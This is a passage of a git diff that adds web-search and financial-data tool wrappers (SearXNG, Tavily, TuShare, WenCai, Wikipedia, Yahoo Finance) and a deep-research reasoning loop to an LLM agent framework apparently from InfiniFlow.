+ @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 12)))
+ def _invoke(self, **kwargs):
+ # Gracefully handle try-run without inputs
+ query = kwargs.get("query")
+ if not query or not isinstance(query, str) or not query.strip():
+ self.set_output("formalized_content", "")
+ return ""
+
+ searxng_url = (getattr(self._param, "searxng_url", "") or kwargs.get("searxng_url") or "").strip()
+ # In try-run, if no URL configured, just return empty instead of raising
+ if not searxng_url:
+ self.set_output("formalized_content", "")
+ return ""
+
+ last_e = ""
+ for _ in range(self._param.max_retries+1):
+ try:
+ search_params = {
+ 'q': query,
+ 'format': 'json',
+ 'categories': 'general',
+ 'language': 'auto',
+ 'safesearch': 1,
+ 'pageno': 1
+ }
+
+ response = requests.get(
+ f"{searxng_url}/search",
+ params=search_params,
+ timeout=10
+ )
+ response.raise_for_status()
+
+ data = response.json()
+
+ if not data or not isinstance(data, dict):
+ raise ValueError("Invalid response from SearXNG")
+
+ results = data.get("results", [])
+ if not isinstance(results, list):
+ raise ValueError("Invalid results format from SearXNG")
+
+ results = results[:self._param.top_n]
+
+ self._retrieve_chunks(results,
+ get_title=lambda r: r.get("title", ""),
+ get_url=lambda r: r.get("url", ""),
+ get_content=lambda r: r.get("content", ""))
+
+ self.set_output("json", results)
+ return self.output("formalized_content")
+
+ except requests.RequestException as e:
+ last_e = f"Network error: {e}"
+ logging.exception(f"SearXNG network error: {e}")
+ time.sleep(self._param.delay_after_error)
+ except Exception as e:
+ last_e = str(e)
+ logging.exception(f"SearXNG error: {e}")
+ time.sleep(self._param.delay_after_error)
+
+ if last_e:
+ self.set_output("_ERROR", last_e)
+ return f"SearXNG error: {last_e}"
+
+ assert False, self.output()
+
+ def thoughts(self) -> str:
+ return """
+Keywords: {}
+Searching with SearXNG for relevant results...
+ """.format(self.get_input().get("query", "-_-!"))
diff --git a/agent/tools/tavily.py b/agent/tools/tavily.py
new file mode 100644
index 0000000..80203fe
--- /dev/null
+++ b/agent/tools/tavily.py
@@ -0,0 +1,227 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import logging
+import os
+import time
+from abc import ABC
+from tavily import TavilyClient
+from agent.tools.base import ToolParamBase, ToolBase, ToolMeta
+from api.utils.api_utils import timeout
+
+
+class TavilySearchParam(ToolParamBase):
+ """
+ Define the Retrieval component parameters.
+ """
+
+ def __init__(self):
+ self.meta:ToolMeta = {
+ "name": "tavily_search",
+ "description": """
+Tavily is a search engine optimized for LLMs, aimed at efficient, quick and persistent search results.
+When searching:
+ - Start with specific query which should focus on just a single aspect.
+ - Number of keywords in query should be less than 5.
+ - Broaden search terms if needed
+ - Cross-reference information from multiple sources
+ """,
+ "parameters": {
+ "query": {
+ "type": "string",
+ "description": "The search keywords to execute with Tavily. The keywords should be the most important words/terms(includes synonyms) from the original request.",
+ "default": "{sys.query}",
+ "required": True
+ },
+ "topic": {
+ "type": "string",
+ "description": "default:general. The category of the search.news is useful for retrieving real-time updates, particularly about politics, sports, and major current events covered by mainstream media sources. general is for broader, more general-purpose searches that may include a wide range of sources.",
+ "enum": ["general", "news"],
+ "default": "general",
+ "required": False,
+ },
+ "include_domains": {
+ "type": "array",
+ "description": "default:[]. A list of domains only from which the search results can be included.",
+ "default": [],
+ "items": {
+ "type": "string",
+ "description": "Domain name that must be included, e.g. www.yahoo.com"
+ },
+ "required": False
+ },
+ "exclude_domains": {
+ "type": "array",
+ "description": "default:[]. A list of domains from which the search results can not be included",
+ "default": [],
+ "items": {
+ "type": "string",
+ "description": "Domain name that must be excluded, e.g. www.yahoo.com"
+ },
+ "required": False
+ },
+ }
+ }
+ super().__init__()
+ self.api_key = ""
+ self.search_depth = "basic" # basic/advanced
+ self.max_results = 6
+ self.days = 14
+ self.include_answer = False
+ self.include_raw_content = False
+ self.include_images = False
+ self.include_image_descriptions = False
+
+ def check(self):
+ self.check_valid_value(self.topic, "Tavily topic: should be in 'general/news'", ["general", "news"])
+ self.check_valid_value(self.search_depth, "Tavily search depth should be in 'basic/advanced'", ["basic", "advanced"])
+ self.check_positive_integer(self.max_results, "Tavily max result number should be within [1, 20]")
+ self.check_positive_integer(self.days, "Tavily days should be greater than 1")
+
+ def get_input_form(self) -> dict[str, dict]:
+ return {
+ "query": {
+ "name": "Query",
+ "type": "line"
+ }
+ }
+
+class TavilySearch(ToolBase, ABC):
+ component_name = "TavilySearch"
+
+ @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 12)))
+ def _invoke(self, **kwargs):
+ if not kwargs.get("query"):
+ self.set_output("formalized_content", "")
+ return ""
+
+ self.tavily_client = TavilyClient(api_key=self._param.api_key)
+ last_e = None
+ for fld in ["search_depth", "topic", "max_results", "days", "include_answer", "include_raw_content", "include_images", "include_image_descriptions", "include_domains", "exclude_domains"]:
+ if fld not in kwargs:
+ kwargs[fld] = getattr(self._param, fld)
+ for _ in range(self._param.max_retries+1):
+ try:
+ kwargs["include_images"] = False
+ kwargs["include_raw_content"] = False
+ res = self.tavily_client.search(**kwargs)
+ self._retrieve_chunks(res["results"],
+ get_title=lambda r: r["title"],
+ get_url=lambda r: r["url"],
+ get_content=lambda r: r["raw_content"] if r["raw_content"] else r["content"],
+ get_score=lambda r: r["score"])
+ self.set_output("json", res["results"])
+ return self.output("formalized_content")
+ except Exception as e:
+ last_e = e
+ logging.exception(f"Tavily error: {e}")
+ time.sleep(self._param.delay_after_error)
+ if last_e:
+ self.set_output("_ERROR", str(last_e))
+ return f"Tavily error: {last_e}"
+
+ assert False, self.output()
+
+ def thoughts(self) -> str:
+ return """
+Keywords: {}
+Looking for the most relevant articles.
+ """.format(self.get_input().get("query", "-_-!"))
+
+
+class TavilyExtractParam(ToolParamBase):
+ """
+ Define the Retrieval component parameters.
+ """
+
+ def __init__(self):
+ self.meta:ToolMeta = {
+ "name": "tavily_extract",
+ "description": "Extract web page content from one or more specified URLs using Tavily Extract.",
+ "parameters": {
+ "urls": {
+ "type": "array",
+ "description": "The URLs to extract content from.",
+ "default": "",
+ "items": {
+ "type": "string",
+ "description": "The URL to extract content from, e.g. www.yahoo.com"
+ },
+ "required": True
+ },
+ "extract_depth": {
+ "type": "string",
+ "description": "The depth of the extraction process. advanced extraction retrieves more data, including tables and embedded content, with higher success but may increase latency.basic extraction costs 1 credit per 5 successful URL extractions, while advanced extraction costs 2 credits per 5 successful URL extractions.",
+ "enum": ["basic", "advanced"],
+ "default": "basic",
+ "required": False,
+ },
+ "format": {
+ "type": "string",
+ "description": "The format of the extracted web page content. markdown returns content in markdown format. text returns plain text and may increase latency.",
+ "enum": ["markdown", "text"],
+ "default": "markdown",
+ "required": False,
+ }
+ }
+ }
+ super().__init__()
+ self.api_key = ""
+ self.extract_depth = "basic" # basic/advanced
+ self.urls = []
+ self.format = "markdown"
+ self.include_images = False
+
+ def check(self):
+ self.check_valid_value(self.extract_depth, "Tavily extract depth should be in 'basic/advanced'", ["basic", "advanced"])
+ self.check_valid_value(self.format, "Tavily extract format should be in 'markdown/text'", ["markdown", "text"])
+
+ def get_input_form(self) -> dict[str, dict]:
+ return {
+ "urls": {
+ "name": "URLs",
+ "type": "line"
+ }
+ }
+
+class TavilyExtract(ToolBase, ABC):
+ component_name = "TavilyExtract"
+
+ @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10*60)))
+ def _invoke(self, **kwargs):
+ self.tavily_client = TavilyClient(api_key=self._param.api_key)
+ last_e = None
+ for fld in ["urls", "extract_depth", "format"]:
+ if fld not in kwargs:
+ kwargs[fld] = getattr(self._param, fld)
+ if kwargs.get("urls") and isinstance(kwargs["urls"], str):
+ kwargs["urls"] = kwargs["urls"].split(",")
+ for _ in range(self._param.max_retries+1):
+ try:
+ kwargs["include_images"] = False
+ res = self.tavily_client.extract(**kwargs)
+ self.set_output("json", res["results"])
+ return self.output("json")
+ except Exception as e:
+ last_e = e
+ logging.exception(f"Tavily error: {e}")
+ if last_e:
+ self.set_output("_ERROR", str(last_e))
+ return f"Tavily error: {last_e}"
+
+ assert False, self.output()
+
+ def thoughts(self) -> str:
+ return "Opened {}—pulling out the main text…".format(self.get_input().get("urls", "-_-!"))
diff --git a/agent/tools/tushare.py b/agent/tools/tushare.py
new file mode 100644
index 0000000..bb9d34f
--- /dev/null
+++ b/agent/tools/tushare.py
@@ -0,0 +1,72 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import json
+from abc import ABC
+import pandas as pd
+import time
+import requests
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class TuShareParam(ComponentParamBase):
+ """
+ Define the TuShare component parameters.
+ """
+
+ def __init__(self):
+ super().__init__()
+ self.token = "xxx"
+ self.src = "eastmoney"
+ self.start_date = "2024-01-01 09:00:00"
+ self.end_date = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
+ self.keyword = ""
+
+ def check(self):
+ self.check_valid_value(self.src, "Quick News Source",
+ ["sina", "wallstreetcn", "10jqka", "eastmoney", "yuncaijing", "fenghuang", "jinrongjie"])
+
+
+class TuShare(ComponentBase, ABC):
+ component_name = "TuShare"
+
+ def _run(self, history, **kwargs):
+ ans = self.get_input()
+ ans = ",".join(ans["content"]) if "content" in ans else ""
+ if not ans:
+ return TuShare.be_output("")
+
+ try:
+ tus_res = []
+ params = {
+ "api_name": "news",
+ "token": self._param.token,
+ "params": {"src": self._param.src, "start_date": self._param.start_date,
+ "end_date": self._param.end_date}
+ }
+ response = requests.post(url="http://api.tushare.pro", data=json.dumps(params).encode('utf-8'))
+ response = response.json()
+ if response['code'] != 0:
+ return TuShare.be_output(response['msg'])
+ df = pd.DataFrame(response['data']['items'])
+ df.columns = response['data']['fields']
+ tus_res.append({"content": (df[df['content'].str.contains(self._param.keyword, case=False)]).to_markdown()})
+ except Exception as e:
+ return TuShare.be_output("**ERROR**: " + str(e))
+
+ if not tus_res:
+ return TuShare.be_output("")
+
+ return pd.DataFrame(tus_res)
diff --git a/agent/tools/wencai.py b/agent/tools/wencai.py
new file mode 100644
index 0000000..e2f8ade
--- /dev/null
+++ b/agent/tools/wencai.py
@@ -0,0 +1,114 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import logging
+import os
+import time
+from abc import ABC
+import pandas as pd
+import pywencai
+
+from agent.tools.base import ToolParamBase, ToolMeta, ToolBase
+from api.utils.api_utils import timeout
+
+
+class WenCaiParam(ToolParamBase):
+ """
+ Define the WenCai component parameters.
+ """
+
+ def __init__(self):
+ self.meta:ToolMeta = {
+ "name": "iwencai",
+ "description": """
+iwencai search: search platform is committed to providing hundreds of millions of investors with the most timely, accurate and comprehensive information, covering news, announcements, research reports, blogs, forums, Weibo, characters, etc.
+robo-advisor intelligent stock selection platform: through AI technology, is committed to providing investors with intelligent stock selection, quantitative investment, main force tracking, value investment, technical analysis and other types of stock selection technologies.
+fund selection platform: through AI technology, is committed to providing excellent fund, value investment, quantitative analysis and other fund selection technologies for foundation citizens.
+""",
+ "parameters": {
+ "query": {
+ "type": "string",
+ "description": "The question/conditions to select stocks.",
+ "default": "{sys.query}",
+ "required": True
+ }
+ }
+ }
+ super().__init__()
+ self.top_n = 10
+ self.query_type = "stock"
+
+ def check(self):
+ self.check_positive_integer(self.top_n, "Top N")
+ self.check_valid_value(self.query_type, "Query type",
+ ['stock', 'zhishu', 'fund', 'hkstock', 'usstock', 'threeboard', 'conbond', 'insurance',
+ 'futures', 'lccp',
+ 'foreign_exchange'])
+
+ def get_input_form(self) -> dict[str, dict]:
+ return {
+ "query": {
+ "name": "Query",
+ "type": "line"
+ }
+ }
+
+class WenCai(ToolBase, ABC):
+ component_name = "WenCai"
+
+ @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 12)))
+ def _invoke(self, **kwargs):
+ if not kwargs.get("query"):
+ self.set_output("report", "")
+ return ""
+
+ last_e = ""
+ for _ in range(self._param.max_retries+1):
+ try:
+ wencai_res = []
+ res = pywencai.get(query=kwargs["query"], query_type=self._param.query_type, perpage=self._param.top_n)
+ if isinstance(res, pd.DataFrame):
+ wencai_res.append(res.to_markdown())
+ elif isinstance(res, dict):
+ for item in res.items():
+ if isinstance(item[1], list):
+ wencai_res.append(item[0] + "\n" + pd.DataFrame(item[1]).to_markdown())
+ elif isinstance(item[1], str):
+ wencai_res.append(item[0] + "\n" + item[1])
+ elif isinstance(item[1], dict):
+ if "meta" in item[1].keys():
+ continue
+ wencai_res.append(pd.DataFrame.from_dict(item[1], orient='index').to_markdown())
+ elif isinstance(item[1], pd.DataFrame):
+ if "image_url" in item[1].columns:
+ continue
+ wencai_res.append(item[1].to_markdown())
+ else:
+ wencai_res.append(item[0] + "\n" + str(item[1]))
+ self.set_output("report", "\n\n".join(wencai_res))
+ return self.output("report")
+ except Exception as e:
+ last_e = e
+ logging.exception(f"WenCai error: {e}")
+ time.sleep(self._param.delay_after_error)
+
+ if last_e:
+ self.set_output("_ERROR", str(last_e))
+ return f"WenCai error: {last_e}"
+
+ assert False, self.output()
+
+ def thoughts(self) -> str:
+ return "Pulling live financial data for `{}`.".format(self.get_input().get("query", "-_-!"))
diff --git a/agent/tools/wikipedia.py b/agent/tools/wikipedia.py
new file mode 100644
index 0000000..83e3b13
--- /dev/null
+++ b/agent/tools/wikipedia.py
@@ -0,0 +1,104 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import logging
+import os
+import time
+from abc import ABC
+import wikipedia
+from agent.tools.base import ToolMeta, ToolParamBase, ToolBase
+from api.utils.api_utils import timeout
+
+
+class WikipediaParam(ToolParamBase):
+ """
+ Define the Wikipedia component parameters.
+ """
+
+ def __init__(self):
+ self.meta:ToolMeta = {
+ "name": "wikipedia_search",
+ "description": """A wide range of how-to and information pages are made available in wikipedia. Since 2001, it has grown rapidly to become the world's largest reference website. From Wikipedia, the free encyclopedia.""",
+ "parameters": {
+ "query": {
+ "type": "string",
+ "description": "The search keyword to execute with wikipedia. The keyword MUST be a specific subject that can match the title.",
+ "default": "{sys.query}",
+ "required": True
+ }
+ }
+ }
+ super().__init__()
+ self.top_n = 10
+ self.language = "en"
+
+ def check(self):
+ self.check_positive_integer(self.top_n, "Top N")
+ self.check_valid_value(self.language, "Wikipedia languages",
+ ['af', 'pl', 'ar', 'ast', 'az', 'bg', 'nan', 'bn', 'be', 'ca', 'cs', 'cy', 'da', 'de',
+ 'et', 'el', 'en', 'es', 'eo', 'eu', 'fa', 'fr', 'gl', 'ko', 'hy', 'hi', 'hr', 'id',
+ 'it', 'he', 'ka', 'lld', 'la', 'lv', 'lt', 'hu', 'mk', 'arz', 'ms', 'min', 'my', 'nl',
+ 'ja', 'nb', 'nn', 'ce', 'uz', 'pt', 'kk', 'ro', 'ru', 'ceb', 'sk', 'sl', 'sr', 'sh',
+ 'fi', 'sv', 'ta', 'tt', 'th', 'tg', 'azb', 'tr', 'uk', 'ur', 'vi', 'war', 'zh', 'yue'])
+
+ def get_input_form(self) -> dict[str, dict]:
+ return {
+ "query": {
+ "name": "Query",
+ "type": "line"
+ }
+ }
+
+class Wikipedia(ToolBase, ABC):
+ component_name = "Wikipedia"
+
+ @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 60)))
+ def _invoke(self, **kwargs):
+ if not kwargs.get("query"):
+ self.set_output("formalized_content", "")
+ return ""
+
+ last_e = ""
+ for _ in range(self._param.max_retries+1):
+ try:
+ wikipedia.set_lang(self._param.language)
+ wiki_engine = wikipedia
+ pages = []
+ for p in wiki_engine.search(kwargs["query"], results=self._param.top_n):
+ try:
+ pages.append(wikipedia.page(p))
+ except Exception:
+ pass
+ self._retrieve_chunks(pages,
+ get_title=lambda r: r.title,
+ get_url=lambda r: r.url,
+ get_content=lambda r: r.summary)
+ return self.output("formalized_content")
+ except Exception as e:
+ last_e = e
+ logging.exception(f"Wikipedia error: {e}")
+ time.sleep(self._param.delay_after_error)
+
+ if last_e:
+ self.set_output("_ERROR", str(last_e))
+ return f"Wikipedia error: {last_e}"
+
+ assert False, self.output()
+
+ def thoughts(self) -> str:
+ return """
+Keywords: {}
+Looking for the most relevant articles.
+ """.format(self.get_input().get("query", "-_-!"))
diff --git a/agent/tools/yahoofinance.py b/agent/tools/yahoofinance.py
new file mode 100644
index 0000000..9feea20
--- /dev/null
+++ b/agent/tools/yahoofinance.py
@@ -0,0 +1,114 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import logging
+import os
+import time
+from abc import ABC
+import pandas as pd
+import yfinance as yf
+from agent.tools.base import ToolMeta, ToolParamBase, ToolBase
+from api.utils.api_utils import timeout
+
+
+class YahooFinanceParam(ToolParamBase):
+ """
+ Define the YahooFinance component parameters.
+ """
+
+ def __init__(self):
+ self.meta:ToolMeta = {
+ "name": "yahoo_finance",
+ "description": "The Yahoo Finance is a service that provides access to real-time and historical stock market data. It enables users to fetch various types of stock information, such as price quotes, historical prices, company profiles, and financial news. The API offers structured data, allowing developers to integrate market data into their applications and analysis tools.",
+ "parameters": {
+ "stock_code": {
+ "type": "string",
+ "description": "The stock code or company name.",
+ "default": "{sys.query}",
+ "required": True
+ }
+ }
+ }
+ super().__init__()
+ self.info = True
+ self.history = False
+ self.count = False
+ self.financials = False
+ self.income_stmt = False
+ self.balance_sheet = False
+ self.cash_flow_statement = False
+ self.news = True
+
+ def check(self):
+ self.check_boolean(self.info, "get all stock info")
+ self.check_boolean(self.history, "get historical market data")
+ self.check_boolean(self.count, "show share count")
+ self.check_boolean(self.financials, "show financials")
+ self.check_boolean(self.income_stmt, "income statement")
+ self.check_boolean(self.balance_sheet, "balance sheet")
+ self.check_boolean(self.cash_flow_statement, "cash flow statement")
+ self.check_boolean(self.news, "show news")
+
+ def get_input_form(self) -> dict[str, dict]:
+ return {
+ "stock_code": {
+ "name": "Stock code/Company name",
+ "type": "line"
+ }
+ }
+
+class YahooFinance(ToolBase, ABC):
+ component_name = "YahooFinance"
+
+ @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 60)))
+ def _invoke(self, **kwargs):
+ if not kwargs.get("stock_code"):
+ self.set_output("report", "")
+ return ""
+
+ last_e = ""
+ for _ in range(self._param.max_retries+1):
+ yohoo_res = []
+ try:
+ msft = yf.Ticker(kwargs["stock_code"])
+ if self._param.info:
+ yohoo_res.append("# Information:\n" + pd.Series(msft.info).to_markdown() + "\n")
+ if self._param.history:
+ yohoo_res.append("# History:\n" + msft.history().to_markdown() + "\n")
+ if self._param.financials:
+ yohoo_res.append("# Calendar:\n" + pd.DataFrame(msft.calendar).to_markdown() + "\n")
+ if self._param.balance_sheet:
+ yohoo_res.append("# Balance sheet:\n" + msft.balance_sheet.to_markdown() + "\n")
+ yohoo_res.append("# Quarterly balance sheet:\n" + msft.quarterly_balance_sheet.to_markdown() + "\n")
+ if self._param.cash_flow_statement:
+ yohoo_res.append("# Cash flow statement:\n" + msft.cashflow.to_markdown() + "\n")
+ yohoo_res.append("# Quarterly cash flow statement:\n" + msft.quarterly_cashflow.to_markdown() + "\n")
+ if self._param.news:
+ yohoo_res.append("# News:\n" + pd.DataFrame(msft.news).to_markdown() + "\n")
+ self.set_output("report", "\n\n".join(yohoo_res))
+ return self.output("report")
+ except Exception as e:
+ last_e = e
+ logging.exception(f"YahooFinance error: {e}")
+ time.sleep(self._param.delay_after_error)
+
+ if last_e:
+ self.set_output("_ERROR", str(last_e))
+ return f"YahooFinance error: {last_e}"
+
+ assert False, self.output()
+
+ def thoughts(self) -> str:
+ return "Pulling live financial data for `{}`.".format(self.get_input().get("stock_code", "-_-!"))
diff --git a/agentic_reasoning/__init__.py b/agentic_reasoning/__init__.py
new file mode 100644
index 0000000..1422de4
--- /dev/null
+++ b/agentic_reasoning/__init__.py
@@ -0,0 +1 @@
+from .deep_research import DeepResearcher as DeepResearcher
\ No newline at end of file
diff --git a/agentic_reasoning/deep_research.py b/agentic_reasoning/deep_research.py
new file mode 100644
index 0000000..d712124
--- /dev/null
+++ b/agentic_reasoning/deep_research.py
@@ -0,0 +1,236 @@
+#
+# Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import logging
+import re
+from functools import partial
+from agentic_reasoning.prompts import BEGIN_SEARCH_QUERY, BEGIN_SEARCH_RESULT, END_SEARCH_RESULT, MAX_SEARCH_LIMIT, \
+ END_SEARCH_QUERY, REASON_PROMPT, RELEVANT_EXTRACTION_PROMPT
+from api.db.services.llm_service import LLMBundle
+from rag.nlp import extract_between
+from rag.prompts import kb_prompt
+from rag.utils.tavily_conn import Tavily
+
+
+class DeepResearcher:
+ def __init__(self,
+ chat_mdl: LLMBundle,
+ prompt_config: dict,
+ kb_retrieve: partial = None,
+ kg_retrieve: partial = None
+ ):
+ self.chat_mdl = chat_mdl
+ self.prompt_config = prompt_config
+ self._kb_retrieve = kb_retrieve
+ self._kg_retrieve = kg_retrieve
+
+ def _remove_tags(text: str, start_tag: str, end_tag: str) -> str:
+ """General Tag Removal Method"""
+ pattern = re.escape(start_tag) + r"(.*?)" + re.escape(end_tag)
+ return re.sub(pattern, "", text)
+
+ @staticmethod
+ def _remove_query_tags(text: str) -> str:
+ """Remove Query Tags"""
+ return DeepResearcher._remove_tags(text, BEGIN_SEARCH_QUERY, END_SEARCH_QUERY)
+
+ @staticmethod
+ def _remove_result_tags(text: str) -> str:
+ """Remove Result Tags"""
+ return DeepResearcher._remove_tags(text, BEGIN_SEARCH_RESULT, END_SEARCH_RESULT)
+
+ def _generate_reasoning(self, msg_history):
+ """Generate reasoning steps"""
+ query_think = ""
+ if msg_history[-1]["role"] != "user":
+ msg_history.append({"role": "user", "content": "Continues reasoning with the new information.\n"})
+ else:
+ msg_history[-1]["content"] += "\n\nContinues reasoning with the new information.\n"
+
+ for ans in self.chat_mdl.chat_streamly(REASON_PROMPT, msg_history, {"temperature": 0.7}):
+ ans = re.sub(r"^.* ", "", ans, flags=re.DOTALL)
+ if not ans:
+ continue
+ query_think = ans
+ yield query_think
+ return query_think
+
+ def _extract_search_queries(self, query_think, question, step_index):
+ """Extract search queries from thinking"""
+ queries = extract_between(query_think, BEGIN_SEARCH_QUERY, END_SEARCH_QUERY)
+ if not queries and step_index == 0:
+ # If this is the first step and no queries are found, use the original question as the query
+ queries = [question]
+ return queries
+
+ def _truncate_previous_reasoning(self, all_reasoning_steps):
+ """Truncate previous reasoning steps to maintain a reasonable length"""
+ truncated_prev_reasoning = ""
+ for i, step in enumerate(all_reasoning_steps):
+ truncated_prev_reasoning += f"Step {i + 1}: {step}\n\n"
+
+ prev_steps = truncated_prev_reasoning.split('\n\n')
+ if len(prev_steps) <= 5:
+ truncated_prev_reasoning = '\n\n'.join(prev_steps)
+ else:
+ truncated_prev_reasoning = ''
+ for i, step in enumerate(prev_steps):
+ if i == 0 or i >= len(prev_steps) - 4 or BEGIN_SEARCH_QUERY in step or BEGIN_SEARCH_RESULT in step:
+ truncated_prev_reasoning += step + '\n\n'
+ else:
+ if truncated_prev_reasoning[-len('\n\n...\n\n'):] != '\n\n...\n\n':
+ truncated_prev_reasoning += '...\n\n'
+
+ return truncated_prev_reasoning.strip('\n')
+
+ def _retrieve_information(self, search_query):
+ """Retrieve information from different sources"""
+ # 1. Knowledge base retrieval
+ kbinfos = []
+ try:
+ kbinfos = self._kb_retrieve(question=search_query) if self._kb_retrieve else {"chunks": [], "doc_aggs": []}
+ except Exception as e:
+ logging.error(f"Knowledge base retrieval error: {e}")
+
+ # 2. Web retrieval (if Tavily API is configured)
+ try:
+ if self.prompt_config.get("tavily_api_key"):
+ tav = Tavily(self.prompt_config["tavily_api_key"])
+ tav_res = tav.retrieve_chunks(search_query)
+ kbinfos["chunks"].extend(tav_res["chunks"])
+ kbinfos["doc_aggs"].extend(tav_res["doc_aggs"])
+ except Exception as e:
+ logging.error(f"Web retrieval error: {e}")
+
+ # 3. Knowledge graph retrieval (if configured)
+ try:
+ if self.prompt_config.get("use_kg") and self._kg_retrieve:
+ ck = self._kg_retrieve(question=search_query)
+ if ck["content_with_weight"]:
+ kbinfos["chunks"].insert(0, ck)
+ except Exception as e:
+ logging.error(f"Knowledge graph retrieval error: {e}")
+
+ return kbinfos
+
+ def _update_chunk_info(self, chunk_info, kbinfos):
+ """Update chunk information for citations"""
+ if not chunk_info["chunks"]:
+ # If this is the first retrieval, use the retrieval results directly
+ for k in chunk_info.keys():
+ chunk_info[k] = kbinfos[k]
+ else:
+ # Merge newly retrieved information, avoiding duplicates
+ cids = [c["chunk_id"] for c in chunk_info["chunks"]]
+ for c in kbinfos["chunks"]:
+ if c["chunk_id"] not in cids:
+ chunk_info["chunks"].append(c)
+
+ dids = [d["doc_id"] for d in chunk_info["doc_aggs"]]
+ for d in kbinfos["doc_aggs"]:
+ if d["doc_id"] not in dids:
+ chunk_info["doc_aggs"].append(d)
+
+ def _extract_relevant_info(self, truncated_prev_reasoning, search_query, kbinfos):
+ """Extract and summarize relevant information"""
+ summary_think = ""
+ for ans in self.chat_mdl.chat_streamly(
+ RELEVANT_EXTRACTION_PROMPT.format(
+ prev_reasoning=truncated_prev_reasoning,
+ search_query=search_query,
+ document="\n".join(kb_prompt(kbinfos, 4096))
+ ),
+ [{"role": "user",
+ "content": f'Now you should analyze each web page and find helpful information based on the current search query "{search_query}" and previous reasoning steps.'}],
+ {"temperature": 0.7}):
+ ans = re.sub(r"^.*", "", ans, flags=re.DOTALL)
+ if not ans:
+ continue
+ summary_think = ans
+ yield summary_think
+
+ return summary_think
+
+ def thinking(self, chunk_info: dict, question: str):
+ executed_search_queries = []
+ msg_history = [{"role": "user", "content": f'Question:\"{question}\"\n'}]
+ all_reasoning_steps = []
+ think = ""
+
+ for step_index in range(MAX_SEARCH_LIMIT + 1):
+ # Check if the maximum search limit has been reached
+ if step_index == MAX_SEARCH_LIMIT - 1:
+ summary_think = f"\n{BEGIN_SEARCH_RESULT}\nThe maximum search limit is exceeded. You are not allowed to search.\n{END_SEARCH_RESULT}\n"
+ yield {"answer": think + summary_think + " ", "reference": {}, "audio_binary": None}
+ all_reasoning_steps.append(summary_think)
+ msg_history.append({"role": "assistant", "content": summary_think})
+ break
+
+ # Step 1: Generate reasoning
+ query_think = ""
+ for ans in self._generate_reasoning(msg_history):
+ query_think = ans
+ yield {"answer": think + self._remove_query_tags(query_think) + "", "reference": {}, "audio_binary": None}
+
+ think += self._remove_query_tags(query_think)
+ all_reasoning_steps.append(query_think)
+
+ # Step 2: Extract search queries
+ queries = self._extract_search_queries(query_think, question, step_index)
+ if not queries and step_index > 0:
+ # If not the first step and no queries, end the search process
+ break
+
+ # Process each search query
+ for search_query in queries:
+ logging.info(f"[THINK]Query: {step_index}. {search_query}")
+ msg_history.append({"role": "assistant", "content": search_query})
+ think += f"\n\n> {step_index + 1}. {search_query}\n\n"
+ yield {"answer": think + "", "reference": {}, "audio_binary": None}
+
+ # Check if the query has already been executed
+ if search_query in executed_search_queries:
+ summary_think = f"\n{BEGIN_SEARCH_RESULT}\nYou have searched this query. Please refer to previous results.\n{END_SEARCH_RESULT}\n"
+ yield {"answer": think + summary_think + "", "reference": {}, "audio_binary": None}
+ all_reasoning_steps.append(summary_think)
+ msg_history.append({"role": "user", "content": summary_think})
+ think += summary_think
+ continue
+
+ executed_search_queries.append(search_query)
+
